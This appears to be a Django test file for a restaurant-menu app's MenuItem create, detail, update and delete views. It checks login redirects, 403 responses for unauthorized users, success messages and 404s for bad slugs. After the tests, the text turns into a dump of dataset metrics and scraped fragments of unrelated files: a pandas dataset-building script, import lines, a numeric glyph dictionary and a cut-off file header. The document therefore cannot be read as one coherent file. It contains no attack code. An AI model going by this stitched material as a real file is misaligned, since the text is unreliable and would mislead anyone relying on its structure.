def test_method_dispatch_self_has_correct_menusection(self):
self.assertEqual(self.view.menusection, self.test_menusection)
# get_context_data()
def test_context_has_action_verb(self):
self.assertTrue('action_verb' in self.context)
def test_context_has_correct_action_verb(self):
self.assertEqual(self.context['action_verb'], 'Create')
def test_context_has_menusection(self):
self.assertTrue('menusection' in self.context)
def test_context_has_correct_menusection(self):
self.assertEqual(self.context['menusection'], self.test_menusection)
# get_initial()
def test_method_get_initial(self):
self.assertEqual(
self.view.get_initial(), {'menusection': self.test_menusection})
# get_success_url()
def test_method_get_success_url(self):
self.view.object = self.test_menusection.menuitem_set.create(
name=c.TEST_MENUITEM_NAME,
description=c.TEST_MENUITEM_DESCRIPTION)
self.assertEqual(
self.view.get_success_url(),
self.view.object.menusection.get_absolute_url())
# request.GET
def test_request_get_method_unauthenticated_user(self):
self.client.logout()
# request by unauthenticated user should redirect to login
self.response = self.client.get(self.current_test_url)
self.assertEqual(self.response.status_code, 302)
redirect_url = urlparse(self.response.url)[2]
self.assertEqual(redirect_url, reverse('login'))
def test_request_get_method_authenticated_but_unauthorized_user(self):
self.client.login(
username=self.test_user.username, password=c.TEST_USER_PASSWORD)
# request by unauthorized user should return 403
self.response = self.client.get(self.current_test_url)
self.assertEqual(self.response.status_code, 403)
def test_request_get_method_authorized_user(self):
self.assertEqual(self.response.status_code, 200)
def test_request_get_method_staff_user(self):
# give staff privileges to self.test_user
self.test_user.is_staff = True
self.test_user.save()
# reload the page
self.response = self.client.get(self.current_test_url)
# remove staff privileges from self.test_user
self.test_user.is_staff = False
self.test_user.save()
self.assertEqual(self.response.status_code, 200)
# template
def test_template_contains_proper_form_text(self):
self.assertIn(
"Please enter the information for your menu item:", self.html)
# request.POST
def test_request_post_method_unauthenticated_user(self):
self.client.logout()
new_menuitem_name = c.TEST_MENUITEM_NAME
new_menuitem_description = 'Test Menu Description'
# get menusection count before attempting to post data
old_menuitem_count = MenuItem.objects.count()
# attempt to create new menusection via POST
self.response = self.client.post(self.current_test_url, {
'menusection': self.test_menusection.pk,
'name': new_menuitem_name,
'description': new_menuitem_description})
# user is redirected to login page
self.assertEqual(self.response.status_code, 302)
redirect_url = urlparse(self.response.url)[2]
self.assertEqual(redirect_url, reverse('login'))
# menusection count should be unchanged
new_menuitem_count = MenuItem.objects.count()
self.assertEqual(old_menuitem_count, new_menuitem_count)
def test_request_post_method_authenticated_but_unauthorized_user(self):
self.client.login(
username=self.test_user.username, password=c.TEST_USER_PASSWORD)
new_menuitem_name = c.TEST_MENUITEM_NAME
new_menuitem_description = 'Test Menu Description'
# get menusection count before attempting to post data
old_menuitem_count = MenuItem.objects.count()
# attempt to create new menusection via POST
self.response = self.client.post(self.current_test_url, {
'menusection': self.test_menusection.pk,
'name': new_menuitem_name,
'description': new_menuitem_description})
# user receives HTTP 403
self.assertEqual(self.response.status_code, 403)
# menusection count should be unchanged
new_menuitem_count = MenuItem.objects.count()
self.assertEqual(old_menuitem_count, new_menuitem_count)
def test_request_post_method_authorized_user(self):
new_menuitem_name = c.TEST_MENUITEM_NAME
new_menuitem_description = 'Test Menu Description'
# get menusection count before attempting POST
old_menuitem_count = MenuItem.objects.count()
# create new menusection via POST
self.response = self.client.post(self.current_test_url, {
'menusection': self.test_menusection.pk,
'name': new_menuitem_name,
'description': new_menuitem_description})
self.html = unescape(self.response.content.decode('utf-8'))
# user is redirected to menusection_detail
new_menuitem = MenuItem.objects.get(
menusection=self.test_menusection,
name=new_menuitem_name)
self.assertEqual(self.response.status_code, 302)
self.assertEqual(
self.response.url, new_menuitem.menusection.get_absolute_url())
# page loads successfully and uses proper template and expected text
self.response = self.client.get(self.response.url)
self.html = unescape(self.response.content.decode('utf-8'))
self.assertEqual(self.response.status_code, 200)
self.assertTemplateUsed(self.response, 'menus/menusection_detail.html')
self.assertIn(f"{new_menuitem.name}", self.html)
# template contains success_message
self.assertIn(
f"Menu Item Created: {new_menuitem_name}", self.html)
# menusection count increased by 1
new_menuitem_count = MenuItem.objects.count()
self.assertEqual(old_menuitem_count + 1, new_menuitem_count)
# validation
def test_validation_post_attempt_duplicate_by_authorized_user(self):
original_menuitem = MenuItem.objects.create(
menusection=self.test_menusection,
name=c.TEST_MENUITEM_NAME,
description='Test Menu Description')
# get menuitem count before attempting to post data
old_menuitem_count = MenuItem.objects.count()
# attempt to create duplicate menuitem via POST
self.response = self.client.post(self.current_test_url, {
'menusection': original_menuitem.menusection.pk,
'name': original_menuitem.name,
'description': original_menuitem.description})
self.html = unescape(self.response.content.decode('utf-8'))
self.assertIn("This name is too similar", self.html)
# menuitem count has not changed
new_menuitem_count = MenuItem.objects.count()
self.assertEqual(old_menuitem_count, new_menuitem_count)
# bad kwargs
def test_bad_kwargs(self):
for i in range(len(self.view.kwargs)):
self.current_test_url = reverse('menus:menuitem_create', kwargs={
'restaurant_slug':
self.test_menusection.menu.restaurant.slug
if i != 0 else 'bad-slug',
'menu_slug':
self.test_menusection.menu.slug if i != 1 else 'bad-slug',
'menusection_slug':
self.test_menusection.slug if i != 2 else 'bad-slug'})
self.response = self.client.get(self.current_test_url)
self.assertEqual(self.response.status_code, 404)
class MenuItemDetailViewTest(TestCase):
@classmethod
def setUpTestData(cls):
cls.test_user = f.UserFactory()
cls.restaurant_admin_user = f.UserFactory()
cls.test_menuitem = \
f.MenuItemFactory(admin_users=[cls.restaurant_admin_user])
cls.current_test_url = reverse('menus:menuitem_detail', kwargs={
'restaurant_slug':
cls.test_menuitem.menusection.menu.restaurant.slug,
'menu_slug': cls.test_menuitem.menusection.menu.slug,
'menusection_slug': cls.test_menuitem.menusection.slug,
'menuitem_slug': cls.test_menuitem.slug})
def setUp(self):
self.response = self.client.get(self.current_test_url)
self.context = self.response.context
self.html = unescape(self.response.content.decode('utf-8'))
self.view = self.response.context['view']
# view attributes
def test_view_class_name(self):
self.assertEqual(
self.view.__class__.__name__, 'MenuItemDetailView')
def test_parent_class_name(self):
self.assertEqual(
self.view.__class__.__bases__[-1].__name__, 'DetailView')
def test_model_name(self):
self.assertEqual(self.view.model.__name__, 'MenuItem')
# get_object()
def test_method_get_object(self):
self.assertEqual(self.view.get_object(), self.test_menuitem)
# request.GET
def test_request_get_method_unauthenticated_user(self):
self.assertEqual(self.response.status_code, 200)
# bad kwargs
def test_bad_kwargs(self):
for i in range(len(self.view.kwargs)):
self.current_test_url = reverse('menus:menuitem_detail', kwargs={
'restaurant_slug':
self.test_menuitem.menusection.menu.restaurant.slug
if i != 0 else 'bad-slug',
'menu_slug':
self.test_menuitem.menusection.menu.slug
if i != 1 else 'bad-slug',
'menusection_slug':
self.test_menuitem.menusection.slug
if i != 2 else 'bad-slug',
'menuitem_slug':
self.test_menuitem.slug if i != 3 else 'bad-slug'})
self.response = self.client.get(self.current_test_url)
self.assertEqual(self.response.status_code, 404)
class MenuItemUpdateViewTest(TestCase):
@classmethod
def setUpTestData(cls):
cls.test_user = f.UserFactory()
cls.restaurant_admin_user = f.UserFactory()
def setUp(self):
self.test_menuitem = \
f.MenuItemFactory(admin_users=[self.restaurant_admin_user])
# login as authorized user
self.client.login(
username=self.restaurant_admin_user.username,
password=c.TEST_USER_PASSWORD)
self.current_test_url = reverse('menus:menuitem_update', kwargs={
'restaurant_slug':
self.test_menuitem.menusection.menu.restaurant.slug,
'menu_slug': self.test_menuitem.menusection.menu.slug,
'menusection_slug': self.test_menuitem.menusection.slug,
'menuitem_slug': self.test_menuitem.slug})
self.response = self.client.get(self.current_test_url)
self.context = self.response.context
self.html = unescape(self.response.content.decode('utf-8'))
self.view = self.response.context['view']
# view attributes
def test_view_class_name(self):
self.assertEqual(
self.view.__class__.__name__, 'MenuItemUpdateView')
def test_parent_class_name(self):
self.assertEqual(
self.view.__class__.__bases__[-1].__name__, 'UpdateView')
def test_which_mixins_are_used(self):
self.assertEqual(
self.view.__class__.__bases__[0].__name__,
'UserHasRestaurantPermissionsMixin')
self.assertEqual(
self.view.__class__.__bases__[1].__name__, 'SuccessMessageMixin')
def test_model_name(self):
self.assertEqual(self.view.model.__name__, 'MenuItem')
def test_form_class(self):
self.assertEqual(self.view.form_class.__name__, 'MenuItemForm')
def test_success_message(self):
self.assertEqual(
self.view.success_message,
"Menu Item Successfully Updated: %(name)s")
# get_context_data()
def test_context_has_action_verb(self):
self.assertTrue('action_verb' in self.context)
def test_context_has_correct_action_verb(self):
self.assertEqual(self.context['action_verb'], 'Update')
def test_context_has_menusection(self):
self.assertTrue('menusection' in self.context)
def test_context_has_correct_menusection(self):
self.assertEqual(
self.context['menusection'], self.test_menuitem.menusection)
def test_context_has_menuitem(self):
self.assertTrue('menuitem' in self.context)
def test_context_has_correct_menuitem(self):
self.assertEqual(self.context['menuitem'], self.test_menuitem)
# get_initial()
def test_method_get_initial(self):
self.assertEqual(
self.view.get_initial(), {
'menusection': self.test_menuitem.menusection,
'name': self.test_menuitem.name,
'description': self.test_menuitem.description})
# get_object()
def test_method_get_object(self):
self.assertEqual(self.view.get_object(), self.test_menuitem)
# request.GET
def test_request_get_method_unauthenticated_user(self):
self.client.logout()
# request by unauthenticated user should redirect to login
self.response = self.client.get(self.current_test_url)
self.assertEqual(self.response.status_code, 302)
redirect_url = urlparse(self.response.url)[2]
self.assertEqual(redirect_url, reverse('login'))
def test_request_get_method_authenticated_but_unauthorized_user(self):
self.client.login(
username=self.test_user.username, password=c.TEST_USER_PASSWORD)
# request by unauthorized user should return 403
self.response = self.client.get(self.current_test_url)
self.assertEqual(self.response.status_code, 403)
def test_request_get_method_authorized_user(self):
self.assertEqual(self.response.status_code, 200)
def test_request_get_method_staff_user(self):
# give staff privileges to self.test_user
self.test_user.is_staff = True
self.test_user.save()
# reload the page
self.response = self.client.get(self.current_test_url)
# remove staff privileges from self.test_user
self.test_user.is_staff = False
self.test_user.save()
self.assertEqual(self.response.status_code, 200)
# template
def test_template_contains_proper_intro_text(self):
self.assertIn(
rf"Please enter the information for '{self.test_menuitem.name}'",
self.html)
def test_template_form_contains_proper_initial_data_name(self):
self.assertIn(rf'value="{self.test_menuitem.name}"', self.html)
def test_template_form_contains_proper_initial_data_description(self):
self.assertIn(
rf'value="{self.test_menuitem.description}"', self.html)
# request.POST
def test_request_post_method_unauthenticated_user(self):
self.client.logout()
old_menuitem_name = self.test_menuitem.name
old_menuitem_description = self.test_menuitem.description
updated_menuitem_name = f'Updated {self.test_menuitem.name}'
updated_menuitem_description = \
f'Updated {self.test_menuitem.description}'
# attempt to update self.test_menuitem via POST
self.response = self.client.post(self.current_test_url, {
'menusection': self.test_menuitem.menusection.pk,
'name': updated_menuitem_name,
'description': updated_menuitem_description})
# user is redirected to login page
self.assertEqual(self.response.status_code, 302)
redirect_url = urlparse(self.response.url)[2]
self.assertEqual(redirect_url, reverse('login'))
# self.test_menuitem is unchanged
self.test_menuitem.refresh_from_db()
self.assertEqual(self.test_menuitem.name, old_menuitem_name)
self.assertEqual(
self.test_menuitem.description, old_menuitem_description)
def test_request_post_method_authenticated_but_unauthorized_user(self):
self.client.login(
username=self.test_user.username, password=c.TEST_USER_PASSWORD)
old_menuitem_name = self.test_menuitem.name
old_menuitem_description = self.test_menuitem.description
updated_menuitem_name = f'Updated {self.test_menuitem.name}'
updated_menuitem_description = \
f'Updated {self.test_menuitem.description}'
# attempt to update self.test_menuitem via POST
self.response = self.client.post(self.current_test_url, {
'menusection': self.test_menuitem.menusection.pk,
'name': updated_menuitem_name,
'description': updated_menuitem_description})
# user receives HTTP 403
self.assertEqual(self.response.status_code, 403)
# self.test_menuitem is unchanged
self.test_menuitem.refresh_from_db()
self.assertEqual(self.test_menuitem.name, old_menuitem_name)
self.assertEqual(
self.test_menuitem.description, old_menuitem_description)
def test_request_post_method_authorized_user(self):
updated_menuitem_name = f'Updated {self.test_menuitem.name}'
updated_menuitem_description = \
f'Updated {self.test_menuitem.description}'
# get menuitem count before attempting POST
old_menuitem_count = MenuItem.objects.count()
# update self.test_menuitem via POST
self.response = self.client.post(self.current_test_url, {
'menusection': self.test_menuitem.menusection.pk,
'name': updated_menuitem_name,
'description': updated_menuitem_description})
self.html = unescape(self.response.content.decode('utf-8'))
# self.test_menuitem has been updated with new values
self.test_menuitem.refresh_from_db()
self.assertEqual(self.test_menuitem.name, updated_menuitem_name)
self.assertEqual(
self.test_menuitem.description, updated_menuitem_description)
self.assertEqual(
self.test_menuitem.slug, slugify(updated_menuitem_name))
# user is redirected to menuitem_detail
self.assertEqual(self.response.status_code, 302)
self.assertEqual(
self.response.url, self.test_menuitem.get_absolute_url())
# menuitem_detail loads successfully and uses proper template
self.response = self.client.get(self.response.url)
self.assertEqual(self.response.status_code, 200)
self.assertTemplateUsed(self.response, 'menus/menuitem_detail.html')
# template contains new menuitem values
self.html = unescape(self.response.content.decode('utf-8'))
self.assertIn(f"{self.test_menuitem.name}", self.html)
self.assertIn(f"{self.test_menuitem.description}", self.html)
# template contains success_message
self.assertIn(
f"Menu Item Successfully Updated: {updated_menuitem_name}",
self.html)
# menuitem count has not changed
updated_menuitem_count = MenuItem.objects.count()
self.assertEqual(old_menuitem_count, updated_menuitem_count)
# validation
def test_validation_post_attempt_duplicate_by_authorized_user(self):
self.test_menuitem_2 = \
self.test_menuitem.menusection.menuitem_set.create(
name=f'Updated {self.test_menuitem.name}',
description=f'Updated {self.test_menuitem.description}')
old_menuitem_name = self.test_menuitem.name
old_menuitem_description = self.test_menuitem.description
old_menuitem_slug = self.test_menuitem.slug
updated_menuitem_name = self.test_menuitem_2.name
updated_menuitem_description = self.test_menuitem_2.description
# attempt to update self.test_menuitem via POST
self.response = self.client.post(self.current_test_url, {
'menusection': self.test_menuitem.menusection.pk,
'name': updated_menuitem_name,
'description': updated_menuitem_description})
self.html = unescape(self.response.content.decode('utf-8'))
self.assertIn("This name is too similar", self.html)
# self.test_menuitem still has original values
self.test_menuitem.refresh_from_db()
self.assertEqual(self.test_menuitem.name, old_menuitem_name)
self.assertEqual(
self.test_menuitem.description, old_menuitem_description)
self.assertEqual(self.test_menuitem.slug, old_menuitem_slug)
# bad kwargs
def test_bad_kwargs(self):
for i in range(len(self.view.kwargs)):
self.current_test_url = reverse('menus:menuitem_update', kwargs={
'restaurant_slug':
self.test_menuitem.menusection.menu.restaurant.slug
if i != 0 else 'bad-slug',
'menu_slug':
self.test_menuitem.menusection.menu.slug
if i != 1 else 'bad-slug',
'menusection_slug':
self.test_menuitem.menusection.slug
if i != 2 else 'bad-slug',
'menuitem_slug':
self.test_menuitem.slug if i != 3 else 'bad-slug'})
self.response = self.client.get(self.current_test_url)
self.assertEqual(self.response.status_code, 404)
class MenuItemDeleteViewTest(TestCase):
@classmethod
def setUpTestData(cls):
cls.test_user = f.UserFactory()
cls.restaurant_admin_user = f.UserFactory()
cls.test_menuitem = \
f.MenuItemFactory(admin_users=[cls.restaurant_admin_user])
cls.current_test_url = reverse('menus:menuitem_delete', kwargs={
'restaurant_slug':
cls.test_menuitem.menusection.menu.restaurant.slug,
'menu_slug': cls.test_menuitem.menusection.menu.slug,
'menusection_slug': cls.test_menuitem.menusection.slug,
'menuitem_slug': cls.test_menuitem.slug})
def setUp(self):
# login as authorized user
self.client.login(
username=self.restaurant_admin_user.username,
password=c.TEST_USER_PASSWORD)
self.response = self.client.get(self.current_test_url)
self.context = self.response.context
self.html = unescape(self.response.content.decode('utf-8'))
self.view = self.response.context['view']
# view attributes
def test_view_class_name(self):
self.assertEqual(
self.view.__class__.__name__, 'MenuItemDeleteView')
def test_parent_class_name(self):
self.assertEqual(
self.view.__class__.__bases__[-1].__name__, 'DeleteView')
def test_which_mixins_are_used(self):
self.assertEqual(
self.view.__class__.__bases__[0].__name__,
'UserHasRestaurantPermissionsMixin')
def test_attribute_model_name(self):
self.assertEqual(
self.view.model.__name__, 'MenuItem')
def test_attribute_success_message(self):
self.assertEqual(
self.view.success_message,
"'%(name)s' has been deleted from the menu.")
# delete()
def test_method_delete_contains_proper_success_message(self):
self.assertEqual(
self.view.success_message % self.test_menuitem.__dict__,
f"'{self.test_menuitem.name}' has been deleted from the menu.")
# get_object()
def test_method_get_object(self):
self.assertEqual(self.view.get_object(), self.test_menuitem)
# get_success_url()
def test_method_get_success_url(self):
self.assertEqual(
self.view.get_success_url(),
self.test_menuitem.menusection.get_absolute_url())
# request.GET
def test_request_get_method_unauthenticated_user(self):
self.client.logout()
# request by unauthenticated user should redirect to login
self.response = self.client.get(self.current_test_url)
self.assertEqual(self.response.status_code, 302)
redirect_url = urlparse(self.response.url)[2]
self.assertEqual(redirect_url, reverse('login'))
def test_request_get_method_authenticated_but_unauthorized_user(self):
self.client.login(
username=self.test_user.username, password=c.TEST_USER_PASSWORD)
# request by unauthorized user should return 403
self.response = self.client.get(self.current_test_url)
self.assertEqual(self.response.status_code, 403)
def test_request_get_method_staff_user(self):
# give staff privileges to self.test_user
self.test_user.is_staff = True
self.test_user.save()
# reload the page
self.response = self.client.get(self.current_test_url)
# remove staff privileges from self.test_user
self.test_user.is_staff = False
self.test_user.save()
self.assertEqual(self.response.status_code, 200)
def test_request_get_method_authorized_user(self):
self.assertEqual(self.response.status_code, 200)
# template
def test_template_contains_proper_confirm_text(self):
self.assertIn(
fr"Are you sure you want to delete '{self.test_menuitem.name}' "
f"from the '{self.test_menuitem.menusection.menu.name}: "
fr"{self.test_menuitem.menusection.name}' menu?", self.html)
# request.POST
def test_request_post_method_unauthenticated_user(self):
self.client.logout()
# get menuitem count before attempting to post data
old_menuitem_count = MenuItem.objects.count()
# attempt to delete self.test_menuitem via POST
self.response = self.client.post(self.current_test_url)
# user is redirected to login page
self.assertEqual(self.response.status_code, 302)
redirect_url = urlparse(self.response.url)[2]
self.assertEqual(redirect_url, reverse('login'))
# menuitem count has not changed
new_menuitem_count = MenuItem.objects.count()
self.assertEqual(old_menuitem_count, new_menuitem_count)
def test_request_post_method_authenticated_but_unauthorized_user(self):
self.client.login(
username=self.test_user.username, password=c.TEST_USER_PASSWORD)
# get menuitem count before attempting to post data
old_menuitem_count = MenuItem.objects.count()
# attempt to delete self.test_menuitem via POST
self.response = self.client.post(self.current_test_url)
# user receives HTTP 403
self.assertEqual(self.response.status_code, 403)
# menuitem count has not changed
new_menuitem_count = MenuItem.objects.count()
self.assertEqual(old_menuitem_count, new_menuitem_count)
def test_request_post_method_authorized_user(self):
# get menuitem count before attempting POST
old_menuitem_count = MenuItem.objects.count()
# menusection_detail contains test_menuitem.name before delete
self.response = self.client.get(
self.test_menuitem.menusection.get_absolute_url())
self.html = unescape(self.response.content.decode('utf-8'))
self.assertIn(f"{self.test_menuitem.name}", self.html)
# delete self.test_menuitem via POST
self.response = self.client.post(self.current_test_url)
# user is redirected to menusection_detail
self.assertEqual(self.response.status_code, 302)
self.assertEqual(
self.response.url,
self.test_menuitem.menusection.get_absolute_url())
# menusection_detail loads successfully and contains success_message
self.response = self.client.get(self.response.url)
self.html = unescape(self.response.content.decode('utf-8'))
self.assertEqual(self.response.status_code, 200)
self.assertTemplateUsed(self.response, 'menus/menusection_detail.html')
self.assertIn(
rf"'{self.test_menuitem.name}' has been deleted from the menu.",
self.html)
# menusection_detail does not contain menuitem name after refresh
self.response = self.client.get(
self.test_menuitem.menusection.get_absolute_url())
self.html = unescape(self.response.content.decode('utf-8'))
self.assertNotIn(f"{self.test_menuitem.name}", self.html)
# object no longer exists
with self.assertRaises(MenuItem.DoesNotExist):
self.test_menuitem.refresh_from_db()
# menuitem count decreased by 1
new_menuitem_count = MenuItem.objects.count()
self.assertEqual(old_menuitem_count - 1, new_menuitem_count)
# validation
def test_validation_post_attempt_duplicate_by_authorized_user(self):
self.test_menuitem.delete()
self.response = self.client.post(self.current_test_url)
self.assertEqual(self.response.status_code, 404)
# bad kwargs
def test_bad_kwargs(self):
for i in range(len(self.view.kwargs)):
self.current_test_url = reverse('menus:menuitem_delete', kwargs={
'restaurant_slug':
self.test_menuitem.menusection.menu.restaurant.slug
if i != 0 else 'bad-slug',
'menu_slug':
self.test_menuitem.menusection.menu.slug
if i != 1 else 'bad-slug',
'menusection_slug':
self.test_menuitem.menusection.slug
if i != 2 else 'bad-slug',
'menuitem_slug':
self.test_menuitem.slug if i != 3 else 'bad-slug'})
self.response = self.client.get(self.current_test_url)
self.assertEqual(self.response.status_code, 404)
| 39.017425
| 79
| 0.675072
| 11,028
| 91,808
| 5.333787
| 0.023486
| 0.046106
| 0.075262
| 0.043794
| 0.948964
| 0.929532
| 0.910423
| 0.897741
| 0.881131
| 0.872563
| 0
| 0.006986
| 0.231309
| 91,808
| 2,352
| 80
| 39.034014
| 0.826503
| 0.102094
| 0
| 0.818123
| 0
| 0
| 0.08448
| 0.027726
| 0
| 0
| 0
| 0
| 0.232725
| 1
| 0.166232
| false
| 0.020209
| 0.006519
| 0
| 0.181877
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
dc682755044c98daf245dcf38d0a4528301cd5b7
| 112
|
py
|
Python
|
dwave_structural_imbalance_demo/__init__.py
|
arcondello/structural-imbalance-demo
|
7dc8787497d54adbfa4a33a4d43d783011578d1f
|
[
"Apache-2.0"
] | null | null | null |
dwave_structural_imbalance_demo/__init__.py
|
arcondello/structural-imbalance-demo
|
7dc8787497d54adbfa4a33a4d43d783011578d1f
|
[
"Apache-2.0"
] | null | null | null |
dwave_structural_imbalance_demo/__init__.py
|
arcondello/structural-imbalance-demo
|
7dc8787497d54adbfa4a33a4d43d783011578d1f
|
[
"Apache-2.0"
] | null | null | null |
from dwave_structural_imbalance_demo.mmp_network import *
from dwave_structural_imbalance_demo.drawing import *
| 37.333333
| 57
| 0.892857
| 15
| 112
| 6.2
| 0.6
| 0.193548
| 0.408602
| 0.602151
| 0.688172
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.071429
| 112
| 2
| 58
| 56
| 0.894231
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
dc754db6e773280ee4842d17b84d2555015c9208
| 3,659
|
py
|
Python
|
predict/makedataset.py
|
IASA-SA-2020/normalize
|
f5d4587631eca8ac5741b531b387a60a634cd288
|
[
"MIT"
] | null | null | null |
predict/makedataset.py
|
IASA-SA-2020/normalize
|
f5d4587631eca8ac5741b531b387a60a634cd288
|
[
"MIT"
] | null | null | null |
predict/makedataset.py
|
IASA-SA-2020/normalize
|
f5d4587631eca8ac5741b531b387a60a634cd288
|
[
"MIT"
] | null | null | null |
from db import connectDB
import pandas as pd
host = 'localhost'
ds_size = 10000
test_rate = 0.1
if __name__ == '__main__':
_, _, _, _, vecDB, *_ = connectDB(host)
li = list(vecDB['data'].find().limit(ds_size))
ls = list(vecDB['snu'].find())
print(1)
test_size = int(len(li) * test_rate)
test_size_s = int(len(ls) * test_rate)
test_ds = []
train_ds = []
for i in range(test_size):
try:
if len(li[i]['nounlist']) > 50 or len(li[i]['verblist']) > 30:
continue
if li[i]['fact']:
ds_one = [5.0]
else:
ds_one = [1.0]
ds_one += li[i]['subject']
ds_one += li[i]['mainverb']
for j in li[i]['nounlist']:
ds_one += j
for j in range((50 - len(li[i]['nounlist'])) * 200):
ds_one.append(0)
for j in li[i]['verblist']:
ds_one += j
for j in range((30 - len(li[i]['verblist'])) * 200):
ds_one.append(0)
test_ds.append(ds_one)
except:
pass
test_ds = []
train_ds = []
for i in range(test_size_s):
try:
if len(ls[i]['nounlist']) > 50 or len(ls[i]['verblist']) > 30:
continue
ds_one = [ls[i]['score']]
if ds_one[0] == 3:
continue
ds_one += ls[i]['subject']
ds_one += ls[i]['mainverb']
for j in ls[i]['nounlist']:
ds_one += j
for j in range((50 - len(ls[i]['nounlist'])) * 200):
ds_one.append(0)
for j in ls[i]['verblist']:
ds_one += j
for j in range((30 - len(ls[i]['verblist'])) * 200):
ds_one.append(0)
test_ds.append(ds_one)
except:
pass
test_pd = pd.DataFrame(test_ds)
test_pd.to_csv('dataset/simple/test.csv', header=False, index=False)
print(1)
test_ds = None
test_pd = None
for i in range(test_size, len(li)):
try:
if len(li[i]['nounlist']) > 50 or len(li[i]['verblist']) > 30:
continue
if li[i]['fact']:
ds_one = [5.0]
else:
ds_one = [1.0]
ds_one += li[i]['subject']
ds_one += li[i]['mainverb']
for j in li[i]['nounlist']:
ds_one += j
for j in range((50 - len(li[i]['nounlist'])) * 200):
ds_one.append(0)
for j in li[i]['verblist']:
ds_one += j
for j in range((30 - len(li[i]['verblist'])) * 200):
ds_one.append(0)
train_ds.append(ds_one)
except:
pass
test_ds = []
train_ds = []
for i in range(test_size_s, len(ls)):
try:
if len(ls[i]['nounlist']) > 50 or len(ls[i]['verblist']) > 30:
continue
ds_one = [ls[i]['score']]
if ds_one[0] == 3:
continue
ds_one += ls[i]['subject']
ds_one += ls[i]['mainverb']
for j in ls[i]['nounlist']:
ds_one += j
for j in range((50 - len(ls[i]['nounlist'])) * 200):
ds_one.append(0)
for j in ls[i]['verblist']:
ds_one += j
for j in range((30 - len(ls[i]['verblist'])) * 200):
ds_one.append(0)
train_ds.append(ds_one)
except:
pass
train_pd = pd.DataFrame(train_ds)
train_pd.to_csv('dataset/simple/train.csv', header=False, index=False)
| 31.817391
| 74
| 0.450396
| 495
| 3,659
| 3.161616
| 0.131313
| 0.115016
| 0.061342
| 0.046006
| 0.808307
| 0.752077
| 0.739936
| 0.739936
| 0.739936
| 0.739936
| 0
| 0.038409
| 0.39519
| 3,659
| 114
| 75
| 32.096491
| 0.668775
| 0
| 0
| 0.803738
| 0
| 0
| 0.093195
| 0.012845
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.037383
| 0.018692
| 0
| 0.018692
| 0.018692
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f4ace5a727070591b15c9466c87166ec837c61cf
| 758
|
py
|
Python
|
imagepy/core/myvi/txtmark.py
|
BioinfoTongLI/imagepy
|
b86f33f20e872ee8b86471a9ddfbd5ad064fd64d
|
[
"BSD-4-Clause"
] | 23
|
2020-03-21T14:42:35.000Z
|
2022-03-20T11:09:37.000Z
|
imagepy/core/myvi/txtmark.py
|
BioinfoTongLI/imagepy
|
b86f33f20e872ee8b86471a9ddfbd5ad064fd64d
|
[
"BSD-4-Clause"
] | 2
|
2017-10-16T06:55:44.000Z
|
2018-05-02T05:10:19.000Z
|
imagepy/core/myvi/txtmark.py
|
BioinfoTongLI/imagepy
|
b86f33f20e872ee8b86471a9ddfbd5ad064fd64d
|
[
"BSD-4-Clause"
] | 4
|
2020-03-29T05:13:31.000Z
|
2022-03-22T04:02:54.000Z
|
lib = {'0':([(0,0.5,0.5,0,0)],[(1,1,0,0,1)],0.5),
'1':([(0.25,0.25)], [(0,1)], 0.5),
'2':([(0,0.5,0.5,0,0,0.5)], [(1,1,0.5,0.5,0,0)], 0.5),
'3':([(0,0.5,0.5,0),(0,0.5)],[(1,1,0,0),(0.5,0.5)], 0.5),
'4':([(0,0,0.5),(0.5,0.5)],[(1,0.5,0.5),(1,0)],0.5),
'5':([(0.5,0,0,0.5,0.5,0)], [(1,1,0.5,0.5,0,0)], 0.5),
'6':([(0.5,0,0,0.5,0.5,0,0)], [(1,1,0.5,0.5,0,0,0.5)], 0.5),
'7':([(0,0.5,0.5)], [(1,1,0)], 0.5),
'8':([(0.5,0.5,0,0,0.5,0.5,0,0)], [(0.5,1,1,0.5,0.5,0,0,0.5)], 0.5),
'9':([(0.5,0.5,0,0,0.5,0.5,0)], [(0.5,1,1,0.5,0.5,0,0)], 0.5),
'I':([(0,0.5),(0.25,0.25),(0,0.5)],[(1,1),(1,0),(0,0)],0.5),
'D':([(0,0.25,0.4,0.5,0.5,0.4,0.25,0),(0.1,0.1)],[(1,1,0.9,0.75,0.25,0.1,0,0),(0,1)],0.5),
':':([(0.2,0.3),(0.2,0.3)],[(0.75,0.75),(0.25,0.25)],0.5)}
| 58.307692
| 91
| 0.361478
| 260
| 758
| 1.053846
| 0.057692
| 0.452555
| 0.459854
| 0.335766
| 0.839416
| 0.587591
| 0.540146
| 0.540146
| 0.485401
| 0.485401
| 0
| 0.375174
| 0.05409
| 758
| 13
| 92
| 58.307692
| 0.006974
| 0
| 0
| 0
| 0
| 0
| 0.017128
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f4ad4a965b30217528b1cb8fbfc591995506f28f
| 58,806
|
py
|
Python
|
icsl_rl/agent.py
|
namjiwon1023/Code_With_RL
|
37beec975b1685e9f6cf991abed491b854b78173
|
[
"MIT"
] | 3
|
